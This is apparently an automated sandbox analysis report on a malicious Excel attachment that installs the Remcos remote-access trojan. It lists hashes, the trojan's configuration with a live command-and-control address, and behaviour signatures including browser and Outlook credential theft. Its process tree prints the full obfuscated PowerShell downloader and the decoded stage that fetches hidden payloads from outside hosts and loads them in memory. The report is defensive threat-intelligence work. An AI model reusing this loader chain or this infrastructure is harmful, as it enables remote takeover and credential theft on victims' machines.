Resubmissions

26-03-2024 15:41

240326-s4zq5sdc96 10

26-03-2024 09:20

240326-la8zdshh8x 10

Analysis

  • max time kernel
    148s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    26-03-2024 09:20

General

  • Target

    Order request list.xls

  • Size

    317KB

  • MD5

    e8c8fee58f84cd706cd5955773887500

  • SHA1

    f80268a58e1f1635dd9ccd6dd029dae2bf93fd58

  • SHA256

    3ac1e9bc1c29e4f900a34d8e98672106887155015c3d868eb35b18a546f64af9

  • SHA512

    c9a2e5b267d21ce88e8ac240590048702e1054f23fdaabbef234c58ceada0b9dcb177ad5ebb219ebffde3cf6e7679fa7dbf031881024b529e0155e0e9836f57e

  • SSDEEP

    6144:Q0unhXF7uY35qAOJl/YrLYz+WrNhZF+E+fgL+0dD8ivSbVsHMI2brcbJTvhl8ult:Q9hXdn3bVsHMI2cJjZlTiAp

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

lasteast.duckdns.org:2401

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-T50E1H

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • NirSoft MailPassView 3 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 9 IoCs
  • Blocklisted process makes network request 7 IoCs
  • Abuses OpenXML format to download file from external location
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 56 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Order request list.xls"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2740
  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" -Embedding
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2620
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:588
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:2016
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\createdkissingsomeone.vbs"
        2⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:644
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDYDgTreMDgTreDgTrevDgTreDDgTreDgTreNDgTreDgTrezDgTreC8DgTreZgB1DgTreGwDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMQDgTrexDgTreDIDgTreODgTreDgTre3DgTreDgDgTreODgTreDgTre3DgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTre2DgTreDDgTreDgTreLwDgTrewDgTreDQDgTreNDgTreDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMQDgTrexDgTreDIDgTreODgTreDgTre3DgTreDgDgTreODgTreDgTre4DgTreCcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreEQDgTrebwB3DgTreG4DgTrebDgTreBvDgTreGEDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreEYDgTrecgBvDgTreG0DgTreTDgTreBpDgTreG4DgTreawBzDgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTreLQBuDgTreGUDgTreIDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBUDgTreGUDgTreeDgTreB0DgTreC4DgTreRQBuDgTreGMDgTrebwBkDgTreGkDgTrebgBnDgTreF0DgTreOgDgTre6DgTreFUDgTreVDgTreBGDgTreDgDgTreLgBHDgTreGUDgTredDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreUwBUDgTreEEDgTreUgBUDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreBpDgTreGYDgTreIDgTreDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwBlDgTreCDgTreDgTreMDgTreDgTregDgTreC0DgTreYQBuDgTreGQDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwB0DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreKwDgTre9DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTreuDgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCDgTreDgTrePQDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBTDgTreHUDgTreYgBzDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTresDgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBDDgTreG8DgTrebgB2DgTreGUDgTrecgB0DgTreF0DgTreOgDgTre6DgTreEYDgTrecgBvDgTreG0DgTreQgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFIDgTreZQBmDgTreGwDgTreZQBjDgTreHQDgTreaQBvDgTreG4DgTreLgBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreXQDgTre6DgTreDoDgTreTDgTreBvDgTreGEDgTreZDgTreDgTreoDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreCDgTreDgTrePQDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreC4DgTreRwBlDgTreHQDgTreVDgTreB5DgTreHDgTreDgTreZQDgTreoDgTreCcDgTreUDgTreBSDgTreE8DgTreSgBFDgTreFQDgTreTwBBDgTreFUDgTreVDgTreBPDgTreE0DgTreQQBDDgTreEEDgTreTwDgTreuDgTreFYDgTreQgDgTreuDgTreEgDgTrebwBtDgTreGUDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreG0DgTreZQB0DgTreGgDgTrebwBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTreuDgTreEcDgTreZQB0DgTreE0DgTreZQB0DgTreGgDgTrebwBkDgTreCgDgTreJwBWDgTreEEDgTreSQDgTrenDgTreCkDgTreLgBJDgTreG4DgTredgBvDgTreGsDgTreZQDgTreoDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTresDgTreCDgTreDgTreWwBvDgTreGIDgTreagBlDgTreGMDgTredDgTreBbDgTreF0DgTreXQDgTregDgTreCgDgTreJwB0DgTreHgDgTredDgTreDgTreuDgTreFIDgTreRQBRDgTreC8DgTreMQDgTre3DgTreDEDgTreNwDgTrevDgTreDgDgTreOQDgTreuDgTreDgDgTreODgTreDgTrexDgTreC4DgTreODgTreDgTrezDgTreC4DgTreNDgTreDgTre1DgTreDEDgTreLwDgTrevDgTreDoDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCwDgTreJwBSDgTreGUDgTreZwBBDgTreHMDgTrebQDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
          3⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1144
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/760/043/full/new_image.jpg?1711287887', 'https://uploaddeimagens.com.br/images/004/760/044/original/new_image.jpg?1711287888'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.REQ/1717/89.881.83.451//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))} }"
            4⤵
            • Blocklisted process makes network request
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1692
            • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
              5⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:2368
              • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\ngosj"
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:2488
              • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\yjtkkojg"
                6⤵
                • Accesses Microsoft Outlook accounts
                PID:1988
              • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\adgvlguzjwk"
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2364

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      67KB

      MD5

      753df6889fd7410a2e9fe333da83a429

      SHA1

      3c425f16e8267186061dd48ac1c77c122962456e

      SHA256

      b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

      SHA512

      9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\96DD3FB36E520A44B4555F9239BEA849_B4791CD67445EC7F0ECEA0014AB0ADA8

      Filesize

      727B

      MD5

      4a575578f56a0dc8e1f327f2506a9131

      SHA1

      84dd5df5851dae427605ed5187d3ef7331e7575b

      SHA256

      4beb4a8eb27e70d6d70573c74209e2e357c53ff746faba87e4c29a1cb0225388

      SHA512

      36ec4235d927985fccf3e015249f2d89387715e1e2bec388c1d62659d0f6ccb1423fb488de7ca9ec2399f60ecf3d4a9d094c9cc3eb416bff2958ddbd52aa5c29

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_9F6005AF34C7906F717D420F892FD6D0

      Filesize

      471B

      MD5

      e8f53904db1336034369e7073bcecb20

      SHA1

      b11d646ab2e2f445037218bdc8871c1c39561740

      SHA256

      da4572394335f59f8250420dec69844b42df76df29ca6ef614bb333324922f94

      SHA512

      60e044a438c5b99be3178b2460708b1a8f40097b471e5256a48221ae26ef8c1e96cf2b6a5147f81cf685aede4c2cc3b530257db037f9081d6c9ae3c039e8063b

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      Filesize

      344B

      MD5

      c59fd7421406af99c24f1e2d29e63910

      SHA1

      a33f649e5b2bbf9781f77c6ddd3715b4a91f708d

      SHA256

      290ca5dac17d6cad5a42129e5b279b07c28db85f7547c549a0133738380a830d

      SHA512

      3319aef0300d5194cf496c56e02e1e11e64311388572c84ee5b3a604665d561cb356a6389c4abc827cd0fb7dad030ed876893b232f05a78fcb987d11b7fb0391

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      Filesize

      344B

      MD5

      cbd37907bba93ceb778721164eec1e1e

      SHA1

      66b9cce3a432ffe19cafcbda1de9009ff8c99414

      SHA256

      7cc5d9b2ee62ff10ec75ead02dbadddb35ff6310c76e595f7bd048172a6195da

      SHA512

      19e446728ee6c326cf2a2d215302f05691e6aa2714b299ed54ab8c84345c18dbe3c71a1a1caf089c371dae1955435c782240736ffe9262006a88cbd5ca85838e

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\96DD3FB36E520A44B4555F9239BEA849_B4791CD67445EC7F0ECEA0014AB0ADA8

      Filesize

      400B

      MD5

      baedd4d740b7e242dbc4412b0e36af00

      SHA1

      23042536333db03017d8ccd9567e7f396bea6276

      SHA256

      0836d3f250ef54a5c56d02dc85e10c99abf2a8825756dbd4b19d9d7c83236658

      SHA512

      70ac19704f825278514d9423c8b6d7c00ae93619f099d6ac4d031b3b73364e16100a193c0440e502d3f790e1005c5931330a2279cf0cee7be74e2a36db65cb26

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_9F6005AF34C7906F717D420F892FD6D0

      Filesize

      400B

      MD5

      58b680863d2e898bb3414d0cd76b247c

      SHA1

      e56b4221e0a3573507cc9ebe7b4e253e36b391b2

      SHA256

      59a7e61ca2e7ba8482a80b5738680141fe07b0dff6e4c43d87678a4cd4e51aba

      SHA512

      155d9a738015ef4a71223489b301621f620d843ec51453a4646e8ca8c411c07fb43e8514bf5077df842807de6cb3c8130b1cc661c0724e242f862bbd556bedb4

    • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{D3929885-8383-469F-8065-B63D504CB38B}.FSD

      Filesize

      128KB

      MD5

      52d689e09abd0636741c5854b80bf29c

      SHA1

      7c4ff08b5c5f80aa40e2dba2c280bbdf63dc5cbf

      SHA256

      4bfd8140f5fb6218372b1ef72d33fbacf811c403ead7506539e3fd3ad21c0cbc

      SHA512

      c5acb94089e29e4be9930f10a8ae68d84bee5d4a39101e65de1f3ec793198bc3f3a3239714a4f155b5a795f22e44f5904ecdc5d26a9bb49b72699bc97ce8f12b

    • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD

      Filesize

      128KB

      MD5

      8fb59c15bcb52447c68e33947b60f7b1

      SHA1

      d04160d356cb8afcc59738a09eced474b4a22798

      SHA256

      b9f4c7453558a1f1d305c60081be178934aa86cc6c70b70a6a7fc038d744ee01

      SHA512

      52d687f1985c6c64fa7683078e30e05ca1dffcdc0b7a9c6f10a44a197484714eaf9ffb9d704bd76de7c4ea158e2acae82b2922f6cede26d9f6b0995f3635e015

    • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{BB3FC33C-52C4-429F-98B1-7CA787EB67EC}.FSD

      Filesize

      128KB

      MD5

      a1757ce764d8150401cb5430f9416df6

      SHA1

      e16dfa58791ef0890d8a633301368a6cbb0c8e09

      SHA256

      9e233bed32460c245ef24158d365c0fa6ffb02d40903a5fa1acce57867b40d7c

      SHA512

      13a8b0835de0343da1dc5d073f49f7a55f20d111f7a252a1c59e474ad6419202e89baec15941a43f6865f9e78ac8e89f05f392048057fb7773c46d154214521d

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\kissinggreatwaytounderstandhowimkissingherwithlotofhearttounderstandyouaremygirliloveu_____sweethearttounderstandkissingmygirl[1].doc

      Filesize

      73KB

      MD5

      338da1470f51aa8116271555ee990e96

      SHA1

      0e1cb790e5bc6534c8757794512a8394a1f12d13

      SHA256

      c02d7beb9210e4edc9fad4c7de3a6827994343e249d3f7544632d8f64847dc74

      SHA512

      00a79d3fb886066e5f701386e445457fa489b2a63083b75a2d8ae05965cdd21ac7a11dd5267950da882b4bd89d44860506cd650b57e138d96fff353b33919039

    • C:\Users\Admin\AppData\Local\Temp\Cab4442.tmp

      Filesize

      65KB

      MD5

      ac05d27423a85adc1622c714f2cb6184

      SHA1

      b0fe2b1abddb97837ea0195be70ab2ff14d43198

      SHA256

      c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

      SHA512

      6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

    • C:\Users\Admin\AppData\Local\Temp\Tar4E8E.tmp

      Filesize

      171KB

      MD5

      9c0c641c06238516f27941aa1166d427

      SHA1

      64cd549fb8cf014fcd9312aa7a5b023847b6c977

      SHA256

      4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

      SHA512

      936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

    • C:\Users\Admin\AppData\Local\Temp\Tar5F0A.tmp

      Filesize

      175KB

      MD5

      dd73cead4b93366cf3465c8cd32e2796

      SHA1

      74546226dfe9ceb8184651e920d1dbfb432b314e

      SHA256

